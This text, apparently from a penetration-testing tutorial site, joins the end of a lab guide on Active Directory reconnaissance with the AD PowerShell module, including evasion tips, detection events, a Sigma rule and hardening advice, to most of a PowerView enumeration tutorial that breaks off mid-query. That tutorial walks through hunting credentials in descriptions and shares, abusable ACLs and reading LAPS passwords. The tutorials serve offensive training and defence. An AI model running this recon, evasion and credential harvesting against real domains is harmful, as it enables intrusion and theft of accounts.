$hvt = 'Domain Admins','Enterprise Admins','Schema Admins','Administrators',
'DnsAdmins','Backup Operators','Account Operators','Server Operators',
'Print Operators','Remote Desktop Users'
$hvt | ForEach-Object {
$g = $_
try {
Get-ADGroupMember -Identity $g -Recursive -ErrorAction Stop |
Select-Object @{n='Group';e={$g}}, SamAccountName, objectClass, SID
} catch { }
} | Export-Clixml "$out\hvt_members.xml"
Get-ADTrust -Filter * | Export-Clixml "$out\trusts.xml"
Get-ADObject -LDAPFilter "(objectClass=groupPolicyContainer)" -Properties * | Export-Clixml "$out\gpo.xml"
Get-ADOrganizationalUnit -Filter * -Properties * | Export-Clixml "$out\ous.xml"
"[+] Enumeration complete: $out"
Get-ChildItem $out | Select-Object Name, Length
[+] Enumeration complete: C:\Users\bob\AppData\Local\Temp\recon
Name Length
---- ------
computers_full.xml 124882
dcs.xml 14820
domain.xml 22155
forest.xml 18044
gpo.xml 68203
groups_full.xml 91744
hvt_members.xml 12108
ous.xml 24390
trusts.xml 11240
users_full.xml 281522
Eight XML files, every CLI XML re-hydratable with Import-Clixml, full attribute set. You can pull this archive off the box, walk it offline, and never touch the DC again. That alone is an OPSEC win, every additional query is another row in Event 1644.
A small but important thing: doing Get-ADUser -Filter * -Properties * once is loud (one big query) but every subsequent question about users is then answered from the CLI XML on disk. Doing Get-ADUser -Filter * followed by twenty Get-ADUser <name> -Properties X for different attributes is twenty-one queries. One loud query beats twenty-one moderately loud ones for both OPSEC and runtime.
11. OPSEC Considerations: When the Module Works Against You
Three things will get you caught even with the AD module’s stealth advantages.
-Properties * is a flare. When the AD module asks ADWS for all attributes, ADWS issues an LDAP search with no specific attribute list, and the resulting Event 1644 on the DC has a distinctive [all_with_list] marker in its filter description. Defenders looking for the bulk-enumeration pattern key on exactly that string. Ask only for the properties you actually need.
Query velocity matters. A normal admin running ADAC might trigger ten to twenty ADWS queries in a minute. A recon script tearing through users, computers, groups, and trusts in sequence triggers hundreds. If your SIEM is doing rate analysis on Event 1138 by user, you stand out. Add Start-Sleep jitter between query phases and live with the slower runtime.
Case mangling helps against bad rules but not against good ones. PowerShell cmdlet names are case-insensitive, so gEt-aDcompUTER -Filter {eNaBLed -eq $TruE} -PROPErTieS * runs identically to the normal form. This evades naive Sigma rules that key on exact-case Get-ADComputer substrings in CommandLine fields. It does not evade the ScriptBlock log (Event 4104) if the rule does case-insensitive matching, which the SigmaHQ rules do by default with the |contains modifier. Treat this as an evasion against lazy detections, not a stealth technique.
gEt-aDcompUTER -fIlTeR { ENableD -eq $TrUE } -pRoPErTiEs OperatingSystem | sElEcT-oBJecT NaMe, OpERaTiNgsYsTeM | sElect-OBJect -fIRsT 3
Name OperatingSystem
---- ---------------
DC01 Windows Server 2022 Standard
WS01 Windows 10 Enterprise
SQL01 Windows Server 2019 Standard
It runs. It still hits the DC. Event 4104 captures it exactly as typed.
Set $ErrorActionPreference carefully. Default behavior of the module is to throw on unresolvable objects (FSPs, deleted refs, scope errors), and those errors are noisy in transcripts and useful to defenders. SilentlyContinue quiets them but also hides legitimate problems. Stop with a try/catch around each phase is the OPSEC-correct answer.

12. Detection and Defense
The honest version: if PowerShell logging is not on, you will see almost none of this. The first half of every detection conversation about the AD module is “did we turn on the things that make detection possible.”
Prerequisites. All of the following must be enabled via Group Policy under Computer Configuration > Policies > Administrative Templates > Windows Components > Windows PowerShell:
- Module Logging with
ModuleNames = *(writes Event 4103 toMicrosoft-Windows-PowerShell/Operational) - Script Block Logging (writes Event 4104, the single most important detection signal for this tradecraft)
- Transcription (writes session transcripts to disk)
On domain controllers:
- Audit Directory Service Access (Success + Failure) for Events 4661/4662
- Field Engineering LDAP logging for Event 1644: set
HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineeringto5
Without those, the AD module looks like nothing on the DC and nothing on the workstation. With them on, the picture changes considerably.
Key Windows Event IDs
| Event ID | Log / Source | What it shows |
|---|---|---|
4104 | Microsoft-Windows-PowerShell/Operational | ScriptBlock logged. Captures the cmdlet text including filters and parameters. Primary detection for Get-AD*. |
4103 | Microsoft-Windows-PowerShell/Operational | Module log pipeline execution event. |
4688 | Security | Process creation. With command-line auditing enabled, catches powershell.exe invocations. |
1138 | Microsoft-Windows-ActiveDirectory_DomainService | ADWS session opened. Logs the real client IP. |
1139 | Same | ADWS session closed. |
1644 | Directory Service (DC) | LDAP search statistics. Client field always [::1] for ADWS-routed queries. [all_with_list] marker indicates -Properties *. |
1166 | Directory Service | LDAP search operation started. |
1167 | Directory Service | LDAP search operation ended. |
4661 | Security | SAM/AD object handle requested. Requires DS Access auditing. |
4662 | Security | Operation performed on AD object. Useful for hunting access to specific objects like Domain Admins. |
The high-fidelity detection is to correlate Event 1138 (real client IP from ADWS) with the burst of Event 1644 (LDAP queries from localhost) and Event 4104 on the source workstation. Any one of these alone is noisy. Joined by timestamp and Operation ID, they are surgical.
Sysmon
| Sysmon Event ID | What it adds |
|---|---|
1 (ProcessCreate) | Catches powershell.exe / pwsh.exe with AD-related command line. Less reliable than 4104 because parameters can be passed via stdin or -EncodedCommand. |
7 (ImageLoad) | Catches Microsoft.ActiveDirectory.Management.dll loading into any process, including non-PowerShell hosts. This is often the cleanest signal because the DLL is the artifact. |
3 (NetworkConnect) | Workstation-side outbound to DC:9389. Correlate the source process and user with DC-side Event 1138. |
Sigma Rules
The following rules exist in SigmaHQ and should be in your ruleset. Verify file paths against the current repo before deploying:
posh_ps_active_directory_module_dll_import(PowerShell Script, EventID 4104)proc_creation_win_powershell_active_directory_module_dll_import(Process Creation)posh_pm_active_directory_module_dll_import(PowerShell Module log)posh_ps_get_adcomputer(EventID 4104, matchesGet-AdComputerinvocations)
A custom Sigma rule that covers the broader Get-AD* pattern on Event 4104:
title: AD Module Enumeration via Get-AD* Cmdlets
id: 9f8b3e7a-2d44-4c6a-9c1d-3e7a91b54c01
status: experimental
description: Detects broad Active Directory enumeration using the Microsoft-signed AD PowerShell module.
logsource:
product: windows
category: ps_script
detection:
selection_cmdlets:
ScriptBlockText|contains|all:
- 'Get-AD'
ScriptBlockText|contains:
- 'Get-ADUser'
- 'Get-ADComputer'
- 'Get-ADGroup'
- 'Get-ADGroupMember'
- 'Get-ADTrust'
- 'Get-ADDomain'
- 'Get-ADForest'
- 'Microsoft.ActiveDirectory.Management'
selection_bulk:
ScriptBlockText|contains:
- '-Filter *'
- '-Properties *'
- '-LDAPFilter'
condition: selection_cmdlets or selection_bulk
falsepositives:
- Administrative scripts on management workstations
- Active Directory Administrative Center usage
level: medium
The |contains modifier in Sigma is case-insensitive by default in modern backends, so gEt-aDcompUTER matches. Verify your specific SIEM’s Sigma converter respects that, because older converters did not.
MITRE Defender for Identity
MDI sits on the DC and watches the local LDAP layer below ADWS, so the localhost problem does not apply. If you have it deployed, the “Reconnaissance using directory services queries” and “Account enumeration” detections fire on this tradecraft regardless of which transport the client used.
Hardening
- Restrict ingress to TCP/9389 on DCs to a small set of management subnets via host firewall.
- Detect
Microsoft.ActiveDirectory.Management.dllloading from any non-standard path (Sysmon EID 7). - Audit access to high-value group objects (
Domain Admins, etc.) with SACLs that fire Event 4662 on read. - Enroll privileged accounts in the Protected Users group (they reject NTLM, refuse DES/RC4, get a 4-hour TGT lifetime).
- Centralize PowerShell logs via WEF to a SIEM. Local logs are easily cleared.

13. Tools
| Tool | Use | Link |
|---|---|---|
Microsoft.ActiveDirectory.Management.dll | The AD module itself, loadable standalone | bundled with RSAT |
| ADAC | GUI client of ADWS, useful for confirming what queries look like | builtin |
| PowerView / SharpView | When you need ACL graph traversal or session enumeration | github.com/PowerShellMafia |
| BloodHound + SharpHound | Graph-based AD relationship analysis | bloodhound.specterops.io |
| SoaPy | Stealth ADWS client, direct SOAP without the AD module DLL | github.com/logangoins/SoaPy |
| ADExplorer | Sysinternals offline AD snapshot viewer | learn.microsoft.com/sysinternals |
| Microsoft Defender for Identity | DC-side detection that sees through the ADWS proxy | microsoft.com/security/business/microsoft-defender-for-identity |
| SigmaHQ rules | Detection content for ScriptBlock and process creation | github.com/SigmaHQ/sigma |
14. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | Event 4104 on Get-ADUser, Event 1644 with user/group filter strings |
| Permission Groups Discovery: Domain Groups | T1069.002 | Event 4104 on Get-ADGroup/Get-ADGroupMember, Event 4662 on protected groups |
| Domain Trust Discovery | T1482 | Event 4104 on Get-ADTrust, Event 4662 on CN=System trust objects |
| Remote System Discovery | T1018 | Event 4104 on Get-ADComputer -Filter *, Event 1644 bulk computer enumeration |
| System Network Configuration Discovery | T1016 | Event 4104 on Get-ADDomainController/Get-ADSite |
| Command and Scripting Interpreter: PowerShell | T1059.001 | Event 4103/4104, Sysmon EID 1, Defender ASR rules |
Summary
- The AD module is a Microsoft-signed PowerView for read-only recon. It does not match PowerView on ACL/GPO graph traversal, but for account, group, computer, and trust enumeration it is functionally equivalent and far quieter.
- DLL portability is the OPSEC unlock.
Microsoft.ActiveDirectory.Management.dllcopied from any RSAT host andImport-Module‘d on a target gives a standard domain user full enumeration capability with no install and no admin rights. - ADWS over TCP/9389 makes the traffic invisible to network LDAP detection. Every query hits the DC as
localhostin Event 1644. Detection must correlate ADWS Event 1138/1139 (real client IP) with the LDAP search events and with Event 4104 on the workstation. -Properties *is the loudest knob you can turn. It paints[all_with_list]into the LDAP filter description on the DC and is exactly what bulk-enumeration detections look for. Ask only for what you need.- Without ScriptBlock logging (4104) and Field Engineering 1644, you cannot detect this. Get those on first, then deploy the SigmaHQ rules for module DLL imports and the broader
Get-AD*pattern, then hunt for the workstation-to-DC 9389 sessions that do not come from your admin tier.
Related Tutorials
References
Domain Enumeration with PowerView: Users, Groups, Computers, OUs, GPOs, Shares, LAPS and the Full Object Graph
You just phished lowpriv@lab.local and you have a PowerShell prompt on WS02. No local admin, no special groups, just a plain domain user. That is exactly the position most engagements start from, and it is more than enough. Active Directory is a giant, queryable database that every authenticated principal can read, and PowerView turns that read access into a map of who can compromise whom.
Objective: Use PowerView from an unprivileged domain-user context to systematically enumerate every major AD object class (users, groups, computers, OUs, GPOs, shares, ACLs, LAPS, trusts), explain the LDAP and security-descriptor mechanics that make each query work, chain the findings into a prioritized attack-path graph, and show defenders the exact telemetry each action generates.
1. Environment Setup and Lab Topology
Build this in VirtualBox, VMware, or Hyper-V. Everything that follows is run against your own lab, never a network you do not own.
| Host | Role | OS | Notes |
|---|---|---|---|
DC01 | Domain Controller | Windows Server 2022 | Domain lab.local, LAPS v1 deployed |
WS01 | Workstation | Windows 11 | Joined to lab.local |
WS02 | Workstation | Windows 10 | Attacker foothold (lowpriv session) |
Provision these accounts and the deliberate weaknesses that make the lab teachable:
| Principal | Configured Weakness | What It Will Teach |
|---|---|---|
lowpriv | Standard user, the foothold | Baseline read access |
svc_backup | GenericAll over OU=Servers | OU ACL abuse |
helpdesk (group) | WriteDACL on the WS01$ computer object | Object DACL takeover |
helpdesk (group) | ReadProperty on ms-Mcs-AdmPwd | Over-broad LAPS delegation |
| Domain Admins group | description contains a partial password | Lazy admin habits |
| Domain | ms-DS-MachineAccountQuota = 10 (default) | Standard users can join machines |
Deploy legacy LAPS (v1) so that the ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes exist on computer objects. Add the helpdesk group to the delegated read set on the Workstations OU. That single misconfiguration is the centerpiece of section 11.
Pull PowerView from the PowerSploit Recon module and LAPSToolkit onto WS02. In a real engagement you would load these in memory; in the lab, dropping the .ps1 files is fine.
2. How PowerView Works Internally
PowerView is a set of pure-PowerShell replacements for the legacy net * commands, written by Will Schroeder (harmj0y). Under the hood almost every Get-Domain* function builds a System.DirectoryServices.DirectorySearcher object, points it at a domain controller over LDAP (TCP 389, or 636 for LDAPS), applies an LDAP filter, and returns the matching directory objects.
This matters for two reasons. First, you do not need Domain Admin. LDAP read access is granted to the Authenticated Users group by default, so lowpriv can read nearly the entire directory: users, groups, computers, OUs, GPO metadata, ACLs, and trusts. Second, the traffic is ordinary LDAP, which means it is monitorable, but only if you are watching the right place.
There is a well-known ADWS blind spot worth understanding. The Microsoft ActiveDirectory PowerShell module (Get-ADComputer, Get-ADUser) does not speak raw LDAP. It talks to Active Directory Web Services (ADWS) on TCP 9389, which then issues the LDAP query locally on the DC. Detections keyed only to client-side LDAP can miss an attacker who pivots to the AD module. PowerView itself is LDAP-native, so it is more visible to LDAP-client telemetry, but defenders should monitor both transports.
Load PowerView. Dot-sourcing runs the script in the current scope so every function is available; Import-Module works too.
whoami /all
. .\PowerView.ps1 # dot-source into current session
# Alternative: Import-Module .\PowerView.ps1
USER INFORMATION
----------------
User Name SID
============== =============================================
lab\lowpriv S-1-5-21-1583049731-1842831045-2390477603-1106
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
lab\Domain Users Group S-1-5-21-...-513 Mandatory group, Enabled by default, Enabled group
A few operational notes. PowerView’s signatures are flagged by AMSI / Windows Defender, so in a defended lab you may need an AMSI bypass or an obfuscated build. If the DC enforces Constrained Language Mode (CLM), PowerView is heavily crippled, but the signed AD module is not constrained, which is exactly why attackers fall back to it. Keep that asymmetry in mind.
3. Domain and Forest Baseline
Before touching individual objects, establish where you are. The domain SID prefix is the key you will use to read every other SID, and the functional level tells you which attacks are even possible.
Get-Domain
Forest : lab.local
DomainControllers : {DC01.lab.local}
Children : {}
DomainMode : Windows2016Domain
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC01.lab.local
RidRoleOwner : DC01.lab.local
InfrastructureRoleOwner : DC01.lab.local
Name : lab.local
Get-DomainController | Select-Object Name, IPAddress, OSVersion
Name IPAddress OSVersion
---- --------- ---------
DC01.lab.local 10.10.10.10 Windows Server 2022 Standard
The password policy tells you whether you can spray credentials without locking accounts. LockoutBadCount : 0 means there is no lockout threshold, which is an open invitation to password spraying.
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
MinimumPasswordAge : 1
MaximumPasswordAge : 42
MinimumPasswordLength : 7
PasswordComplexity : 1
PasswordHistorySize : 24
LockoutBadCount : 0
RequireLogonToChangePassword : 0
ClearTextPassword : 0
Get-ForestDomain
Forest : lab.local
DomainControllers : {DC01.lab.local}
Name : lab.local
Forest : lab.local
DomainControllers : {DEVDC01.dev.lab.local}
Name : dev.lab.local
A child domain dev.lab.local appears. Note it. Child domains share a forest and therefore an implicit two-way transitive trust, which becomes section 12’s lateral-movement opportunity.
4. User Enumeration
Get-DomainUser issues an LDAP query for (samAccountType=805306368), the value identifying normal user accounts. Every property in the schema that Authenticated Users can read comes back. Pull the high-signal fields first.
Get-DomainUser | Select-Object samaccountname, description, pwdlastset, logoncount, memberof
samaccountname : Administrator
description : Built-in account for administering the computer/domain
pwdlastset : 1/14/2024 9:02:11 AM
logoncount : 187
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=lab,DC=local, CN=Domain Admins,...}
samaccountname : svc_sql
description : SQL service account - initial pw Sql$vc2023 rotate quarterly
pwdlastset : 3/02/2023 4:41:55 PM
logoncount : 2204
memberof : {CN=SQLAdmins,OU=Groups,DC=lab,DC=local}
samaccountname : svc_backup
description : Veeam backup service
pwdlastset : 2/11/2024 8:15:00 AM
logoncount : 51
memberof : {CN=Backup Operators,CN=Builtin,DC=lab,DC=local}
samaccountname : lowpriv
description :
pwdlastset : 5/03/2024 10:22:31 AM
logoncount : 9
memberof : {CN=Domain Users,CN=Users,DC=lab,DC=local}
Two findings already. svc_sql has a plaintext-ish password fragment in its description, and svc_backup is in Backup Operators, a privileged group that can read any file on a DC (including NTDS.dit). The description field is unencrypted and world-readable, which is why lazy credential storage there is a recurring jackpot.
Hunt descriptions directly with a server-side LDAP filter so the DC does the matching:
Get-DomainUser -LDAPFilter "(description=*pass*)" | Select-Object name, description
name description
---- -----------
backupadmin Temp password Welcome2023! - delete this account
Now interpret the userAccountControl (UAC) attribute. UAC is a bitfield. Each bit flags a property: account disabled (0x2), password not required (PASSWD_NOTREQD, 0x20), no Kerberos pre-auth required (DONT_REQ_PREAUTH, 0x400000, the AS-REP roasting flag), trusted for delegation (TRUSTED_FOR_DELEGATION, 0x80000). PowerView decodes it for you.
Get-DomainUser svc_backup | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
Find delegation-relevant accounts. Unconstrained delegation accounts cache TGTs and are prime targets; constrained delegation can be abused for impersonation.
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
samaccountname msds-allowedtodelegateto
-------------- ------------------------
svc_web {HTTP/SQL01.lab.local, HTTP/SQL01}
svc_web is configured for constrained delegation to SQL01‘s HTTP service. If you compromise svc_web, S4U2Proxy lets you request service tickets to SQL01 as any user, including a domain admin. That is a privilege-escalation path you log for later.
The mechanics worth internalizing: Kerberos issues a TGT at logon (the AS exchange) and service tickets per resource (the TGS exchange). Each ticket carries a PAC with the user’s group SIDs. Delegation flags decide whether a service can reuse a user’s identity to request further tickets, which is exactly what makes TrustedToAuth so dangerous.
This maps to T1087.002 (Account Discovery: Domain Account).
5. Group Enumeration and Membership Chains
Groups are how privilege actually flows in AD. Get-DomainGroup enumerates group objects; Get-DomainGroupMember -Recurse walks nested membership, which matters because someone can be a Domain Admin three groups deep without being a direct member.
Get-DomainGroup | Select-Object name, description
name description
---- -----------
Domain Admins Designated administrators - svc pw resets to ChangeMe!2024
Enterprise Admins Designated administrators of the enterprise
Backup Operators Members can override security to back up files
Helpdesk Tier 2 desktop support
SQLAdmins SQL server administrators
Protected Users Members are afforded additional protections...
There it is: the Domain Admins group description leaks a password. Lab-planted, but you will see this pattern in the wild more than you would believe.
Resolve the membership of the crown-jewel group:
Get-DomainGroupMember "Domain Admins" | Select-Object membername, membersid
membername membersid
---------- ---------
Administrator S-1-5-21-1583049731-1842831045-2390477603-500
svc_da S-1-5-21-1583049731-1842831045-2390477603-1119
The -500 RID confirms the built-in Administrator. svc_da is a service account in Domain Admins, a frequent kerberoasting target.
Recurse the Helpdesk group to flatten nesting:
Get-DomainGroupMember "Helpdesk" -Recurse | Select-Object membername, membersid, membertype
membername membersid membertype
---------- --------- ----------
jsmith S-1-5-21-1583049731-1842831045-2390477603-1131 user
deskadmins S-1-5-21-1583049731-1842831045-2390477603-1140 group
tbrown S-1-5-21-1583049731-1842831045-2390477603-1142 user
deskadmins is nested inside Helpdesk, so tbrown inherits every right Helpdesk holds, including (as we will find) WriteDACL on WS01$ and LAPS read. Find what your own foothold belongs to:
Get-DomainGroup -MemberIdentity lowpriv | Select-Object name
name
----
Domain Users
Helpdesk
lowpriv is in Helpdesk. That is the privilege escalation thread the rest of this tutorial pulls on. This activity maps to T1069.002 (Permission Groups Discovery: Domain Groups).

6. Computer Enumeration
Get-DomainComputer filters on (samAccountType=805306369). Operating-system attributes are populated at domain join and reveal patch posture and likely targets.
Get-DomainComputer | Select-Object dnshostname, operatingsystem, operatingsystemversion, distinguishedname
dnshostname operatingsystem operatingsystemversion distinguishedname
----------- --------------- ---------------------- -----------------
DC01.lab.local Windows Server 2022 Standard 10.0 (20348) CN=DC01,OU=Domain Controllers,DC=lab,DC=local
WS01.lab.local Windows 11 Pro 10.0 (22631) CN=WS01,OU=Workstations,DC=lab,DC=local
WS02.lab.local Windows 10 Pro 10.0 (19045) CN=WS02,OU=Workstations,DC=lab,DC=local
SQL01.lab.local Windows Server 2019 Standard 10.0 (17763) CN=SQL01,OU=Servers,DC=lab,DC=local
FILE01.lab.local Windows Server 2016 Standard 10.0 (14393) CN=FILE01,OU=Servers,DC=lab,DC=local
FILE01 runs Server 2016 and is your likely share host. The distinguishedName is critical here: it encodes the OU path, which lets you tie computers to OUs and then to the GPOs that configure them.
Hunt stale computer accounts. A machine that has not logged on in 90 days may still hold valid credentials and is a low-noise target.
Get-DomainComputer -Properties dnshostname,lastlogontimestamp | Where-Object {
[datetime]::FromFileTime($_.lastlogontimestamp) -lt (Get-Date).AddDays(-90)
} | Select-Object dnshostname, @{N='LastLogon';E={[datetime]::FromFileTime($_.lastlogontimestamp)}}
dnshostname LastLogon
----------- ---------
OLD-PRINT.lab.local 11/02/2023 6:14:22 AM
Computer enumeration is T1018 (Remote System Discovery).
7. OU Enumeration and OU-to-Computer Mapping
Organizational units are the containers that GPOs attach to. The gpLink attribute on an OU holds the LDAP paths of the GPOs linked to it, so OU enumeration is the bridge between objects and policy.
Get-DomainOU | Select-Object name, distinguishedname, gplink
name distinguishedname gplink
---- ----------------- ------
Workstations OU=Workstations,DC=lab,DC=local [LDAP://cn={31B2F340-016D-11D2-945F-00C04FB984F9},cn=policies,...;0][LDAP://cn={6AC1786C-016F-11D2-945F-00C04fB984F9},...;0]
Servers OU=Servers,DC=lab,DC=local [LDAP://cn={A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44},...;0]
Domain Controllers OU=Domain Controllers,DC=lab,DC=local [LDAP://cn={6AC1786C-016F-11D2-945F-00C04fB984F9},...;0]
Use the OU’s distinguishedName as a -SearchBase to scope a computer query to exactly that OU. The DirectorySearcher then walks only that subtree.
(Get-DomainOU -Identity "Workstations").distinguishedname | ForEach-Object {
Get-DomainComputer -SearchBase "LDAP://$_" | Select-Object dnshostname
}
dnshostname
-----------
WS01.lab.local
WS02.lab.local
You now know that the two GPO GUIDs in the Workstations gpLink apply to WS01 and WS02. Resolve those GUIDs next.
8. GPO Enumeration and OU-GPO Linkage
Group Policy Objects configure everything from local group membership to scheduled tasks. The metadata lives in AD; the actual policy files live in SYSVOL, pointed to by the gPCFileSysPath attribute. Any authenticated user can read SYSVOL, so GPO files often leak configuration (and historically, GPP cpassword secrets).
Get-DomainGPO | Select-Object displayname, name, gpcfilesyspath
displayname name gpcfilesyspath
----------- ---- --------------
Default Domain Policy {31B2F340-016D-11D2-945F-00C04FB984F9} \\lab.local\SysVol\lab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers {6AC1786C-016F-11D2-945F-00C04fB984F9} \\lab.local\SysVol\lab.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
WS-LocalAdmins {A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44} \\lab.local\SysVol\lab.local\Policies\{A91D2F89-1F1C-4E2B-9A3D-7C2E8F1B0D44}
Resolve the GUID from the Workstations gpLink to a friendly name:
Get-DomainGPO -Identity '{6AC1786C-016F-11D2-945F-00C04fB984F9}' | Select-Object displayname
displayname
-----------
Default Domain Controllers Policy
The real prize is figuring out where a GPO grants local admin. Get-DomainGPOLocalGroup parses Restricted Groups and Group Policy Preferences entries; Get-DomainGPOComputerLocalGroupMapping resolves that down to specific machines.
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName, GroupMembers
GPODisplayName GroupName GroupMembers
-------------- --------- ------------
WS-LocalAdmins BUILTIN\Administrators {lab\Helpdesk}
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity WS01
ComputerName : WS01.lab.local
ObjectName : lab\Helpdesk
ObjectSID : S-1-5-21-1583049731-1842831045-2390477603-1150
IsGroup : True
GPODisplayName : WS-LocalAdmins
Helpdesk (which contains lowpriv) is local administrator on WS01 and WS02 via GPO. That is direct lateral movement: lowpriv can dump credentials on those hosts. GPO enumeration maps to T1615 (Group Policy Discovery).
9. Share Enumeration
Find-DomainShare walks every computer object and calls NetShareEnum against each. The flags trim noise and verify reachability. -CheckShareAccess performs an actual connection test so you only see shares your token can open.
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
Profiles 0 User profiles FILE01.lab.local
Software 0 Software repo FILE01.lab.local
Backups 0 Nightly backups FILE01.lab.local
ScriptShare 0 Logon scripts DC01.lab.local
Then hunt files. Find-InterestingDomainShareFile recursively searches accessible shares for patterns that commonly hold secrets.
Find-InterestingDomainShareFile -Include "*.txt","*.xml","*.ps1","*.config","*.kdbx"
Path Owner LastAccessTime Length
---- ----- -------------- ------
\\FILE01.lab.local\Software\deploy\unattend.xml lab\svc_sql 4/19/2024 2:11:09 PM 4096
\\FILE01.lab.local\Profiles\jsmith\creds.txt lab\jsmith 5/01/2024 8:02:55 AM 212
\\DC01.lab.local\ScriptShare\map_drives.ps1 lab\svc_da 3/14/2024 9:40:18 AM 1881
unattend.xml and a creds.txt are classic plaintext credential stores. Reading creds.txt would map to T1552.001 (Unsecured Credentials: Credentials In Files). Share discovery itself is T1135 (Network Share Discovery).
10. ACL and DACL Enumeration
This is where enumeration becomes an attack graph. Every AD object carries an nTSecurityDescriptor holding a DACL, a list of ACEs. Each ACE binds a trustee SID to a set of ActiveDirectoryRights (ReadProperty, WriteProperty, GenericAll, WriteDacl, WriteOwner, etc.) and, optionally, an ObjectAceType GUID naming the specific property or extended right the ACE applies to. Abusable ACEs let a low-priv principal modify an object they should not control.
The key abuse rights:
| Right | Abuse Scenario |
|---|---|
GenericAll | Full control: reset password, add to group, read LAPS, set SPN for kerberoast |
GenericWrite | Write attributes: set SPN (targeted kerberoast), set logon script |
WriteDacl | Rewrite the object’s DACL to grant yourself GenericAll |
WriteOwner | Take ownership, then rewrite the DACL |
ForceChangePassword | Reset the target’s password without knowing the old one |
AllExtendedRights | Includes the LAPS read right and password reset |
-ResolveGUIDs translates the cryptic ObjectAceType GUIDs into readable names like ms-Mcs-AdmPwd or User-Force-Change-Password. Without it you are staring at raw GUIDs. The first time I ran this without -ResolveGUIDs I spent an hour cross-referencing GUIDs by hand against the schema. Do not repeat my mistake.
Cast the wide net first:
Find-InterestingDomainAcl -ResolveGUIDs |
Select-Object ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
ObjectDN ActiveDirectoryRights ObjectAceType IdentityReferenceName
-------- --------------------- ------------- ---------------------
CN=WS01,OU=Workstations,DC=lab,DC=local WriteDacl All Helpdesk
OU=Servers,DC=lab,DC=local GenericAll All svc_backup
CN=jsmith,CN=Users,DC=lab,DC=local ExtendedRight User-Force-Change-Password Helpdesk
CN=WS01,OU=Workstations,DC=lab,DC=local ReadProperty ms-Mcs-AdmPwd Helpdesk
Four attack edges in one query. Drill into the WS01 object to confirm the WriteDacl:
Get-DomainObjectAcl -Identity "CN=WS01,OU=Workstations,DC=lab,DC=local" -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|ForceChangePassword" } |
Select-Object ActiveDirectoryRights, ObjectAceType, SecurityIdentifier
ActiveDirectoryRights ObjectAceType SecurityIdentifier
--------------------- ------------- ------------------
WriteDacl All S-1-5-21-1583049731-1842831045-2390477603-1150
Resolve the trustee SID:
Convert-SidToName S-1-5-21-1583049731-1842831045-2390477603-1150
lab\Helpdesk
Because lowpriv is in Helpdesk, and Helpdesk has WriteDacl on WS01$, lowpriv can rewrite that object’s DACL to grant itself GenericAll, then read LAPS or perform a resource-based constrained delegation attack against WS01. Check the OU edge too:
Get-DomainObjectAcl -Identity "OU=Servers,DC=lab,DC=local" -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -eq "GenericAll" } |
Select-Object SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1583049731-1842831045-2390477603-1117 GenericAll
That SID is svc_backup. GenericAll on OU=Servers means whoever controls svc_backup can set inheritable ACLs on every server object in that OU. The ForceChangePassword edge over jsmith means Helpdesk (and thus lowpriv) can reset jsmith‘s password outright. ACL enumeration is the connective tissue of the whole graph.

11. LAPS Enumeration
LAPS (Local Administrator Password Solution) rotates each machine’s local admin password and stores it in AD. Legacy LAPS v1 extends the schema with two attributes on the computer object:
| Attribute | Meaning | Read Permission |
|---|---|---|
ms-Mcs-AdmPwd | The plaintext local admin password | Restricted to delegated principals |
ms-Mcs-AdmPwdExpirationTime | FILETIME when the password expires | Readable by any authenticated user |
That asymmetry is the enumeration foothold. Any user can read the expiration time, so you can detect which machines run LAPS without any special rights:
Get-DomainComputer | Where-Object { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } |
Select-Object dnshostname, @{N='Expires';E={[datetime]::FromFileTime($_."ms-Mcs-AdmPwdExpirationTime")}}
dnshostname Expires
----------- -------
WS01.lab.local 5/14/2024 3:00:00 AM
WS02.lab.local 5/14/2024 3:00:00 AM
SQL01.lab.local 5/13/2024 3:00:00 AM
The password itself is protected. But you already proved in section 10 that Helpdesk holds ReadProperty on ms-Mcs-AdmPwd for the Workstations OU, and lowpriv is in Helpdesk. So the read should succeed:
Get-DomainComputer WS01 -Properties ms-mcs-AdmPwd, dnshostname, ms-mcs-AdmPwdExpirationTime
dnshostname : WS01.lab.local
ms-mcs-admpwd : 7Vx@9kLm!2Qp4nRt
ms-mcs-admpwdexpirationtime : 133593408000000000
That is the cleartext local Administrator password for WS01. You can now log in as local admin over SMB or WinRM, which is T1078.002 (Valid Accounts: Domain Accounts) in effect.
The deeper enumeration skill, and the one harmj0y documented, is finding who can read LAPS even when you cannot, so you can target those principals. Read the OU ACLs and filter for the ms-Mcs-AdmPwd ObjectAceType:
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } |
ForEach-Object { $_ | Add-Member NoteProperty 'IdentityName' (Convert-SidToName $_.SecurityIdentifier) -Force -PassThru } |
Select-Object ObjectDN, IdentityName, ActiveDirectoryRights
ObjectDN IdentityName ActiveDirectoryRights
-------- ------------ ---------------------
